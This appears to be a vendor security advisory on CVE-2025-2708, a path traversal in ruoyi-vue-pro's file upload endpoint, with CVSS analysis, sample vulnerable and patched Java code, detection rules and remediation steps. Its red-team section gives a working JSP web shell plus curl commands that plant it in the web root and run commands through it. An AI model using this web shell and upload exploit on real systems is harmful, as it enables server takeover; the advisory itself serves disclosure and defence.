CVE-2025-2708

Executive Summary

CVE-2025-2708 is a critical path traversal vulnerability discovered in the zhijiantianya ruoyi-vue-pro application, version 2.4.1. The flaw resides in the backend file upload interface at /admin-api/infra/file/upload. By manipulating the path argument, an unauthenticated remote attacker can traverse directories outside the intended upload directory, potentially reading, writing, or overwriting arbitrary files on the server. This can lead to full server compromise, data exfiltration, or remote code execution if writable paths (e.g., web root or cron directories) are targeted. The vendor was contacted but did not respond, leaving the vulnerability unpatched. Public exploit details are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects a Java-based project (ruoyi-vue-pro) which may be distributed via Maven or as a Docker image. Organizations using this framework should verify their supply chain integrity and ensure no compromised artifacts are in use. The lack of a vendor patch means users must rely on manual mitigations.

CVSS Breakdown & Threat Level

CVSS Score: 9.8 (Critical)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Arbitrary file read is possible.
• Integrity (I): High – Arbitrary file write/overwrite is possible.
• Availability (A): High – Overwriting critical files can cause denial of service.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top priority for remediation.

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the file upload functionality. The application fails to sanitize the path parameter in the request to /admin-api/infra/file/upload. An attacker can supply a path like ../../etc/ to escape the intended upload directory and write files to arbitrary locations.

Root Cause: The application likely concatenates the user-supplied path with a base upload directory without validating that the resulting path is still within the allowed directory. For example:

String basePath = "/var/www/uploads/";
String userPath = request.getParameter("path"); // e.g., "../../etc/"
String fullPath = basePath + userPath; // becomes /var/www/uploads/../../etc/
File file = new File(fullPath);
// No check if file is within basePath

Attack Scenario:

1. Attacker sends a POST request to /admin-api/infra/file/upload with a multipart file and a path parameter containing traversal sequences.
2. The server writes the uploaded file to the traversed path.
3. If the attacker writes a malicious JSP or shell script to the web root (e.g., ../../webapps/ROOT/shell.jsp), they can execute arbitrary commands.

Impact:

• Read: Access sensitive files like /etc/passwd, application configs, or database credentials.
• Write: Overwrite configuration files, deploy web shells, or modify cron jobs for persistence.

Vulnerable vs. Patched Code

Vulnerable Code (ruoyi-vue-pro 2.4.1):

// FileUploadController.java (hypothetical)
@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file, 
                         @RequestParam("path") String path) {
    String uploadDir = "/var/www/uploads/";
    String fullPath = uploadDir + path;
    File dest = new File(fullPath);
    file.transferTo(dest);
    return "success";
}

Patched Code (Hypothetical fix):

@PostMapping("/upload")
public String uploadFile(@RequestParam("file") MultipartFile file, 
                         @RequestParam("path") String path) {
    String uploadDir = "/var/www/uploads/";
    // Sanitize path: remove traversal sequences
    String sanitizedPath = path.replaceAll("\\.\\./", "").replaceAll("\\.\\.\\\\", "");
    // Ensure path is within uploadDir
    File dest = new File(uploadDir, sanitizedPath);
    if (!dest.getCanonicalPath().startsWith(new File(uploadDir).getCanonicalPath())) {
        throw new SecurityException("Invalid path");
    }
    file.transferTo(dest);
    return "success";
}

Key Differences:

• The patched version uses getCanonicalPath() to resolve the absolute path and checks that it starts with the intended base directory.
• It also strips traversal sequences as a defense-in-depth measure.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running ruoyi-vue-pro 2.4.1 with the vulnerable endpoint exposed.
• Knowledge of the web root path (e.g., /opt/tomcat/webapps/ROOT/).

Exploit Steps:

1. Craft a malicious file (e.g., a JSP web shell):

   <%@ page import="java.io.*" %>
   <%
   String cmd = request.getParameter("cmd");
   if (cmd != null) {
       Process p = Runtime.getRuntime().exec(cmd);
       BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
       String line;
       while ((line = br.readLine()) != null) {
           out.println(line);
       }
   }
   %>
   

2. Send the exploit request using curl:

   curl -X POST \
     -F "file=@shell.jsp" \
     -F "path=../../webapps/ROOT/shell.jsp" \
     http://target.com/admin-api/infra/file/upload
   

3. Access the web shell:

   curl http://target.com/shell.jsp?cmd=id
   

Alternative: Overwrite configuration files (e.g., application.yml) to change database credentials or enable debug endpoints.

Blue Team (Defensive)

Detection:

• Monitor for requests to /admin-api/infra/file/upload with path parameters containing ../ or ..\\.
• Alert on file writes to unexpected directories (e.g., outside /var/www/uploads/).
• Use file integrity monitoring (FIM) to detect new or modified files in web roots.

Mitigation:

• Immediate: Block the vulnerable endpoint at the WAF or reverse proxy.
• Code Fix: Implement path canonicalization and validation as shown in the patched code.
• Network: Restrict outbound traffic from the application server to prevent data exfiltration.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin-api/infra/file/upload with path containing ../ or ..\\.
  • Unusual file extensions in uploads (e.g., .jsp, .php, .war).
• File System:
  • Unexpected files in web-accessible directories (e.g., shell.jsp, cmd.jsp).
  • Modified configuration files (e.g., application.yml, web.xml).
• Logs:
  • Application logs showing file writes to paths outside the intended upload directory.
  • Access logs with 200 responses to /admin-api/infra/file/upload followed by requests to new files.

Detection Engineering

YARA Rule

rule CVE_2025_2708_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in ruoyi-vue-pro file upload"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-2708"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/admin-api/infra/file/upload"
    condition:
        $endpoint and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2025-2708 Path Traversal in ruoyi-vue-pro File Upload
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts targeting the file upload endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/admin-api/infra/file/upload'
        cs-uri-query|contains|all:
            - 'path='
            - '../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-2708 Path Traversal in ruoyi-vue-pro File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/admin-api/infra/file/upload"; http_uri; content:"path="; http_uri; content:"../"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable the vulnerable endpoint /admin-api/infra/file/upload at the web server or WAF level.
   • If the application is behind a reverse proxy, block requests containing ../ in the path parameter.

2. Code Fix:

   • Implement path canonicalization using File.getCanonicalPath() and verify the resolved path is within the intended base directory.
   • Strip or reject any path containing ../ or ..\\ sequences.

3. Network Segmentation:

   • Ensure the application server cannot access sensitive internal systems.
   • Restrict outbound traffic to prevent data exfiltration.

4. Monitoring:

   • Deploy the provided YARA, Sigma, and Suricata rules.
   • Enable file integrity monitoring on web roots and configuration directories.

5. Vendor Communication:

   • Since the vendor is unresponsive, consider forking the project and applying the fix internally, or migrating to an alternative framework.

Valters IT
Securing Digital Frontiers